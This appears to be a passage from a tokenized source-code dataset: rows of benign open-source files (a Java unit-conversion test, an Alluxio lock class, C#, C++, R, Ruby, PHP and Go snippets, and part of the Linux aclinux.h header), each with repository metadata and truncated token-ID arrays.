assertThat(MemoryUnit.MB.convert(-1L, MemoryUnit.TB), is(-1024L * 1024L));
assertThat(MemoryUnit.GB.convert(-1L, MemoryUnit.TB), is(-1024L));
assertThat(MemoryUnit.TB.convert(-1L, MemoryUnit.TB), is(-1L));
assertThat(MemoryUnit.PB.convert(-1L, MemoryUnit.TB), is(0L));
assertThat(MemoryUnit.B.convert(-1L, MemoryUnit.PB), is(-1024L * 1024L * 1024L * 1024L * 1024L));
assertThat(MemoryUnit.KB.convert(-1L, MemoryUnit.PB), is(-1024L * 1024L * 1024L * 1024L));
assertThat(MemoryUnit.MB.convert(-1L, MemoryUnit.PB), is(-1024L * 1024L * 1024L));
assertThat(MemoryUnit.GB.convert(-1L, MemoryUnit.PB), is(-1024L * 1024L));
assertThat(MemoryUnit.TB.convert(-1L, MemoryUnit.PB), is(-1024L));
assertThat(MemoryUnit.PB.convert(-1L, MemoryUnit.PB), is(-1L));
}
@Test
public void testPositiveThresholdConditions() {
assertThat(MemoryUnit.KB.convert(1024L - 1, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.KB.convert(1024L + 1, MemoryUnit.B), is(1L));
assertThat(MemoryUnit.MB.convert((1024L * 1024L) - 1, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.MB.convert((1024L * 1024L) + 1, MemoryUnit.B), is(1L));
assertThat(MemoryUnit.GB.convert((1024L * 1024L * 1024L) - 1, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.GB.convert((1024L * 1024L * 1024L) + 1, MemoryUnit.B), is(1L));
assertThat(MemoryUnit.TB.convert((1024L * 1024L * 1024L * 1024L) - 1, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.TB.convert((1024L * 1024L * 1024L * 1024L) + 1, MemoryUnit.B), is(1L));
assertThat(MemoryUnit.PB.convert((1024L * 1024L * 1024L * 1024L * 1024L) - 1, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.PB.convert((1024L * 1024L * 1024L * 1024L * 1024L) + 1, MemoryUnit.B), is(1L));
assertThat(MemoryUnit.MB.convert(1024L - 1, MemoryUnit.KB), is(0L));
assertThat(MemoryUnit.MB.convert(1024L + 1, MemoryUnit.KB), is(1L));
assertThat(MemoryUnit.GB.convert((1024L * 1024L) - 1, MemoryUnit.KB), is(0L));
assertThat(MemoryUnit.GB.convert((1024L * 1024L) + 1, MemoryUnit.KB), is(1L));
assertThat(MemoryUnit.TB.convert((1024L * 1024L * 1024L) - 1, MemoryUnit.KB), is(0L));
assertThat(MemoryUnit.TB.convert((1024L * 1024L * 1024L) + 1, MemoryUnit.KB), is(1L));
assertThat(MemoryUnit.PB.convert((1024L * 1024L * 1024L * 1024L) - 1, MemoryUnit.KB), is(0L));
assertThat(MemoryUnit.PB.convert((1024L * 1024L * 1024L * 1024L) + 1, MemoryUnit.KB), is(1L));
assertThat(MemoryUnit.GB.convert(1024L - 1, MemoryUnit.MB), is(0L));
assertThat(MemoryUnit.GB.convert(1024L + 1, MemoryUnit.MB), is(1L));
assertThat(MemoryUnit.TB.convert((1024L * 1024L) - 1, MemoryUnit.MB), is(0L));
assertThat(MemoryUnit.TB.convert((1024L * 1024L) + 1, MemoryUnit.MB), is(1L));
assertThat(MemoryUnit.PB.convert((1024L * 1024L * 1024L) - 1, MemoryUnit.MB), is(0L));
assertThat(MemoryUnit.PB.convert((1024L * 1024L * 1024L) + 1, MemoryUnit.MB), is(1L));
assertThat(MemoryUnit.TB.convert(1024L - 1, MemoryUnit.GB), is(0L));
assertThat(MemoryUnit.TB.convert(1024L + 1, MemoryUnit.GB), is(1L));
assertThat(MemoryUnit.PB.convert((1024L * 1024L) - 1, MemoryUnit.GB), is(0L));
assertThat(MemoryUnit.PB.convert((1024L * 1024L) + 1, MemoryUnit.GB), is(1L));
assertThat(MemoryUnit.PB.convert(1024L - 1, MemoryUnit.TB), is(0L));
assertThat(MemoryUnit.PB.convert(1024L + 1, MemoryUnit.TB), is(1L));
}
@Test
public void testNegativeThresholdConditions() {
assertThat(MemoryUnit.KB.convert(-1024L + 1, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.KB.convert(-1024L - 1, MemoryUnit.B), is(-1L));
assertThat(MemoryUnit.MB.convert(-(1024L * 1024L) + 1, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.MB.convert(-(1024L * 1024L) - 1, MemoryUnit.B), is(-1L));
assertThat(MemoryUnit.GB.convert(-(1024L * 1024L * 1024L) + 1, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.GB.convert(-(1024L * 1024L * 1024L) - 1, MemoryUnit.B), is(-1L));
assertThat(MemoryUnit.TB.convert(-(1024L * 1024L * 1024L * 1024L) + 1, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.TB.convert(-(1024L * 1024L * 1024L * 1024L) - 1, MemoryUnit.B), is(-1L));
assertThat(MemoryUnit.PB.convert(-(1024L * 1024L * 1024L * 1024L * 1024L) + 1, MemoryUnit.B), is(0L));
assertThat(MemoryUnit.PB.convert(-(1024L * 1024L * 1024L * 1024L * 1024L) - 1, MemoryUnit.B), is(-1L));
assertThat(MemoryUnit.MB.convert(-1024L + 1, MemoryUnit.KB), is(0L));
assertThat(MemoryUnit.MB.convert(-1024L - 1, MemoryUnit.KB), is(-1L));
assertThat(MemoryUnit.GB.convert(-(1024L * 1024L) + 1, MemoryUnit.KB), is(0L));
assertThat(MemoryUnit.GB.convert(-(1024L * 1024L) - 1, MemoryUnit.KB), is(-1L));
assertThat(MemoryUnit.TB.convert(-(1024L * 1024L * 1024L) + 1, MemoryUnit.KB), is(0L));
assertThat(MemoryUnit.TB.convert(-(1024L * 1024L * 1024L) - 1, MemoryUnit.KB), is(-1L));
assertThat(MemoryUnit.PB.convert(-(1024L * 1024L * 1024L * 1024L) + 1, MemoryUnit.KB), is(0L));
assertThat(MemoryUnit.PB.convert(-(1024L * 1024L * 1024L * 1024L) - 1, MemoryUnit.KB), is(-1L));
assertThat(MemoryUnit.GB.convert(-1024L + 1, MemoryUnit.MB), is(0L));
assertThat(MemoryUnit.GB.convert(-1024L - 1, MemoryUnit.MB), is(-1L));
assertThat(MemoryUnit.TB.convert(-(1024L * 1024L) + 1, MemoryUnit.MB), is(0L));
assertThat(MemoryUnit.TB.convert(-(1024L * 1024L) - 1, MemoryUnit.MB), is(-1L));
assertThat(MemoryUnit.PB.convert(-(1024L * 1024L * 1024L) + 1, MemoryUnit.MB), is(0L));
assertThat(MemoryUnit.PB.convert(-(1024L * 1024L * 1024L) - 1, MemoryUnit.MB), is(-1L));
assertThat(MemoryUnit.TB.convert(-1024L + 1, MemoryUnit.GB), is(0L));
assertThat(MemoryUnit.TB.convert(-1024L - 1, MemoryUnit.GB), is(-1L));
assertThat(MemoryUnit.PB.convert(-(1024L * 1024L) + 1, MemoryUnit.GB), is(0L));
assertThat(MemoryUnit.PB.convert(-(1024L * 1024L) - 1, MemoryUnit.GB), is(-1L));
assertThat(MemoryUnit.PB.convert(-1024L + 1, MemoryUnit.TB), is(0L));
assertThat(MemoryUnit.PB.convert(-1024L - 1, MemoryUnit.TB), is(-1L));
}
@Test
public void testThresholdComparisons() {
assertThat(MemoryUnit.KB.compareTo(1, 1024L - 1, MemoryUnit.B), greaterThan(0));
assertThat(MemoryUnit.KB.compareTo(1, 1024L, MemoryUnit.B), is(0));
assertThat(MemoryUnit.KB.compareTo(1, 1024L + 1, MemoryUnit.B), lessThan(0));
assertThat(MemoryUnit.KB.compareTo(2, 2048L - 1, MemoryUnit.B), greaterThan(0));
assertThat(MemoryUnit.KB.compareTo(2, 2048L, MemoryUnit.B), is(0));
assertThat(MemoryUnit.KB.compareTo(2, 2048L + 1, MemoryUnit.B), lessThan(0));
}
}
| jhouserizer/ehcache3 | ehcache-api/src/test/java/org/ehcache/config/units/MemoryUnitTest.java | Java | apache-2.0 | 12,836 | [
30522,
1013,
1008,
1008,
9385,
14403,
13124,
2050,
1010,
4297,
1012,
1008,
1008,
7000,
2104,
1996,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1006,
1996,
1000,
6105,
1000,
1007,
1025,
1008,
2017,
2089,
2025,
2224,
2023,
5371,
3272,
1999,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* The Alluxio Open Foundation licenses this work under the Apache License, version 2.0
* (the "License"). You may not use this work except in compliance with the License, which is
* available at www.apache.org/licenses/LICENSE-2.0
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
* either express or implied, as more fully set forth in the License.
*
* See the NOTICE file distributed with this work for information regarding copyright ownership.
*/
package alluxio.worker.block;
import alluxio.Configuration;
import alluxio.PropertyKey;
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.concurrent.locks.Condition;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReadWriteLock;
import javax.annotation.concurrent.ThreadSafe;
/**
* Read/write lock associated with clients rather than threads. Either its read lock or write lock
* can be released by a thread different from the one acquiring them (but supposed to be requested
* by the same client).
*/
@ThreadSafe
public final class ClientRWLock implements ReadWriteLock {
/** Total number of permits. This value decides the max number of concurrent readers. */
private static final int MAX_AVAILABLE =
Configuration.getInt(PropertyKey.WORKER_TIERED_STORE_BLOCK_LOCK_READERS);
/**
* Uses the unfair lock to prevent a read lock that fails to release from locking the block
* forever and thus blocking all the subsequent write access.
* See https://alluxio.atlassian.net/browse/ALLUXIO-2636.
*/
private final Semaphore mAvailable = new Semaphore(MAX_AVAILABLE, false);
/** Reference count. */
private AtomicInteger mReferences = new AtomicInteger();
/**
* Constructs a new {@link ClientRWLock}.
*/
public ClientRWLock() {}
@Override
public Lock readLock() {
return new SessionLock(1);
}
@Override
public Lock writeLock() {
return new SessionLock(MAX_AVAILABLE);
}
/**
* @return the reference count
*/
public int getReferenceCount() {
return mReferences.get();
}
/**
* Increments the reference count.
*/
public void addReference() {
mReferences.incrementAndGet();
}
/**
* Decrements the reference count.
*
* @return the new reference count
*/
public int dropReference() {
return mReferences.decrementAndGet();
}
private final class SessionLock implements Lock {
private final int mPermits;
private SessionLock(int permits) {
mPermits = permits;
}
@Override
public void lock() {
mAvailable.acquireUninterruptibly(mPermits);
}
@Override
public void lockInterruptibly() throws InterruptedException {
mAvailable.acquire(mPermits);
}
@Override
public boolean tryLock() {
return mAvailable.tryAcquire(mPermits);
}
@Override
public boolean tryLock(long time, TimeUnit unit) throws InterruptedException {
return mAvailable.tryAcquire(mPermits, time, unit);
}
@Override
public void unlock() {
mAvailable.release(mPermits);
}
@Override
public Condition newCondition() {
throw new UnsupportedOperationException("newCondition() is not supported");
}
}
}
| PasaLab/tachyon | core/server/worker/src/main/java/alluxio/worker/block/ClientRWLock.java | Java | apache-2.0 | 3,343 | [
30522,
1013,
1008,
1008,
1996,
2035,
5602,
3695,
2330,
3192,
15943,
2023,
2147,
2104,
1996,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1008,
1006,
1996,
1000,
6105,
1000,
1007,
1012,
2017,
2089,
2025,
2224,
2023,
2147,
3272,
1999,
12646,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
public partial class CMSModules_Workflows_Workflow_Step_General {
/// <summary>
/// editElem control.
/// </summary>
/// <remarks>
/// Auto-generated field.
/// To modify move field declaration from designer file to code-behind file.
/// </remarks>
protected global::CMSModules_Workflows_Controls_UI_WorkflowStep_Edit editElem;
}
| CCChapel/ccchapel.com | CMS/CMSModules/Workflows/Workflow_Step_General.aspx.designer.cs | C# | gpl-3.0 | 731 | [
30522,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
101... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
// Copyright (c) 2014 The Caroline authors. All rights reserved.
// Use of this source file is governed by a MIT license that can be found in the
// LICENSE file.
/// @author Mlodik Mikhail <mlodik_m@mail.ru>
#ifndef CORE_JSON_MATRIX_HELPERS_H_
#define CORE_JSON_MATRIX_HELPERS_H_
#include "json/value.h"
#include "opencv2/core/core.hpp"
namespace core {
/// Read values from json and fill matrix.
/// @param [in] json_matrix Json value to read.
/// @param [out] mat Matrix object to fill.
/// @returs true on success
bool JsonToMat(const Json::Value& json_matrix, cv::Mat* mat);
/// Read values from json and fill matrix m x n with double.
/// @param [in] json_matrix Json value to read.
/// @param [out] mat Matrix object to fill.
/// @returs true on success
template <int m, int n>
bool JsonToMatx(const Json::Value& json_matrix,
cv::Matx<double, m, n>* mat) {
cv::Mat temp_mat;
if (!JsonToMat(json_matrix, &temp_mat) ||
temp_mat.size().width != n ||
temp_mat.size().height != m)
return false;
*mat = temp_mat;
return true;
}
/// Convert matrix into json representation.
/// @param [in] mat Matrix to convert.
/// @returns Corespound json value.
Json::Value MatToJson(const cv::Mat& mat);
/// Convert matrix m x n of double into json representation.
/// @param [in] mat Matrix to convert.
/// @returns Corespound json value.
template <int m, int n>
Json::Value MatxToJson(const cv::Matx<double, m, n>& mat) {
return MatToJson(cv::Mat(mat));
}
} // namespace core
#endif // CORE_JSON_MATRIX_HELPERS_H_
| it-workshop/caroline | core/json_matrix_helpers.h | C | mit | 1,561 | [
30522,
1013,
1013,
9385,
1006,
1039,
1007,
2297,
1996,
7981,
6048,
1012,
2035,
2916,
9235,
1012,
1013,
1013,
2224,
1997,
2023,
3120,
5371,
2003,
9950,
2011,
1037,
10210,
6105,
2008,
2064,
2022,
2179,
1999,
1996,
1013,
1013,
6105,
5371,
10... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
// -*- mode: C++; c-indent-level: 4; c-basic-offset: 4; tab-width: 8 -*-
//
// Fast.h: Rcpp R/C++ interface class library -- faster vectors (less interface)
//
// Copyright (C) 2010 - 2012 Dirk Eddelbuettel and Romain Francois
//
// This file is part of Rcpp.
//
// Rcpp is free software: you can redistribute it and/or modify it
// under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// Rcpp is distributed in the hope that it will be useful, but
// WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Rcpp. If not, see <http://www.gnu.org/licenses/>.
#ifndef Rcpp__Fast_h
#define Rcpp__Fast_h
namespace Rcpp {
template <typename VECTOR>
class Fast {
public:
typedef typename VECTOR::stored_type value_type ;
Fast( const VECTOR& v_) : v(v_), data( v_.begin() ){}
inline value_type& operator[]( R_xlen_t i){ return data[i] ; }
inline const value_type& operator[]( R_xlen_t i) const { return data[i] ; }
inline R_xlen_t size() const { return v.size() ; }
private:
const VECTOR& v ;
value_type* data ;
} ;
}
#endif
| nafiux/portableR | site-library/Rcpp/include/Rcpp/Fast.h | C | agpl-3.0 | 1,380 | [
30522,
1013,
1013,
1011,
1008,
1011,
5549,
1024,
1039,
1009,
1009,
1025,
1039,
1011,
27427,
4765,
1011,
2504,
1024,
1018,
1025,
1039,
1011,
3937,
1011,
16396,
1024,
1018,
1025,
21628,
1011,
9381,
1024,
1022,
1011,
1008,
1011,
1013,
30524,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
require "spec_helper"
describe Rules::LittleFourWinds do
subject { described_class }
its(:score) { should == 64 }
it "matches a standard hand with three pungs/kongs of winds and a pair of the fourth" do
should match_hand ["W W W W", "S S S", "N N N", "2# 2# 2#", "E E"]
should_not match_hand ["W W W W", "S S S", "N N N", "E E E", "2# 2#"]
should_not match_hand ["W W W W", "S S S", "N N N", "E E"]
end
end
| kajiki/mahjong-scoring | spec/rules/little_four_winds_spec.rb | Ruby | bsd-2-clause | 431 | [
30522,
5478,
1000,
28699,
1035,
2393,
2121,
1000,
6235,
3513,
1024,
1024,
2210,
14876,
3126,
11101,
2015,
2079,
3395,
1063,
2649,
1035,
2465,
1065,
2049,
1006,
1024,
3556,
1007,
1063,
2323,
1027,
1027,
4185,
1065,
2009,
1000,
3503,
1037,
... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<?php
/**
* PluginApplicationLifecycleEventQueue form.
*
* @package ##PROJECT_NAME##
* @subpackage form
* @author ##AUTHOR_NAME##
* @version SVN: $Id: sfDoctrineFormPluginTemplate.php 23810 2009-11-12 11:07:44Z Kris.Wallsmith $
*/
abstract class PluginApplicationLifecycleEventQueueForm extends BaseApplicationLifecycleEventQueueForm
{
}
| cripure/openpne3 | plugins/opOpenSocialPlugin/lib/form/doctrine/PluginApplicationLifecycleEventQueueForm.class.php | PHP | apache-2.0 | 356 | [
30522,
1026,
1029,
25718,
1013,
1008,
1008,
1008,
13354,
3981,
9397,
19341,
3508,
15509,
23490,
18697,
3372,
4226,
5657,
2433,
1012,
1008,
1008,
1030,
7427,
1001,
1001,
2622,
1035,
2171,
1001,
1001,
1008,
1030,
4942,
23947,
4270,
2433,
1008... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
package strain
type Ints []int
type Lists [][]int
type Strings []string
func (i Ints) Keep(filter func(int) bool) Ints {
if i == nil {
return nil
}
filtered := []int{}
for _, v := range i {
if filter(v) {
filtered = append(filtered, v)
}
}
i = filtered
return i
}
func (i Ints) Discard(filter func(int) bool) Ints {
if i == nil {
return nil
}
return i.Keep(func(i int) bool {
return !filter(i)
})
}
func (l Lists) Keep(filter func([]int) bool) Lists {
if l == nil {
return nil
}
filtered := [][]int{}
for _, v := range l {
if filter(v) {
filtered = append(filtered, v)
}
}
l = filtered
return l
}
func (s Strings) Keep(filter func(string) bool) Strings {
if s == nil {
return nil
}
filtered := []string{}
for _, v := range s {
if filter(v) {
filtered = append(filtered, v)
}
}
s = filtered
return s
}
| rootulp/exercism | go/strain/strain.go | GO | mit | 862 | [
30522,
7427,
10178,
2828,
20014,
2015,
1031,
1033,
20014,
2828,
7201,
1031,
1033,
1031,
1033,
20014,
2828,
7817,
1031,
1033,
5164,
4569,
2278,
1006,
1045,
20014,
2015,
1007,
2562,
1006,
11307,
4569,
2278,
1006,
20014,
1007,
22017,
2140,
100... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/******************************************************************************
*
* Name: aclinux.h - OS specific defines, etc. for Linux
*
*****************************************************************************/
/*
* Copyright (C) 2000 - 2015, Intel Corp.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions, and the following disclaimer,
* without modification.
* 2. Redistributions in binary form must reproduce at minimum a disclaimer
* substantially similar to the "NO WARRANTY" disclaimer below
* ("Disclaimer") and any redistribution must be conditioned upon
* including a substantially similar Disclaimer requirement for further
* binary redistribution.
* 3. Neither the names of the above-listed copyright holders nor the names
* of any contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* Alternatively, this software may be distributed under the terms of the
* GNU General Public License ("GPL") version 2 as published by the Free
* Software Foundation.
*
* NO WARRANTY
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR CONTRIBUTORS BE LIABLE FOR SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGES.
*/
#ifndef __ACLINUX_H__
#define __ACLINUX_H__
#ifdef __KERNEL__
/* ACPICA external files should not include ACPICA headers directly. */
#if !defined(BUILDING_ACPICA) && !defined(_LINUX_ACPI_H)
#error "Please don't include <acpi/acpi.h> directly, include <linux/acpi.h> instead."
#endif
#endif
/* Common (in-kernel/user-space) ACPICA configuration */
#define ACPI_USE_SYSTEM_CLIBRARY
#define ACPI_USE_DO_WHILE_0
#ifdef __KERNEL__
#define ACPI_USE_SYSTEM_INTTYPES
/* Compile for reduced hardware mode only with this kernel config */
#ifdef CONFIG_ACPI_REDUCED_HARDWARE_ONLY
#define ACPI_REDUCED_HARDWARE 1
#endif
#include <linux/string.h>
#include <linux/kernel.h>
#include <linux/ctype.h>
#include <linux/sched.h>
#include <linux/atomic.h>
#include <linux/math64.h>
#include <linux/slab.h>
#include <linux/spinlock_types.h>
#ifdef EXPORT_ACPI_INTERFACES
#include <linux/export.h>
#endif
#ifdef CONFIG_ACPI
#include <asm/acenv.h>
#endif
#ifndef CONFIG_ACPI
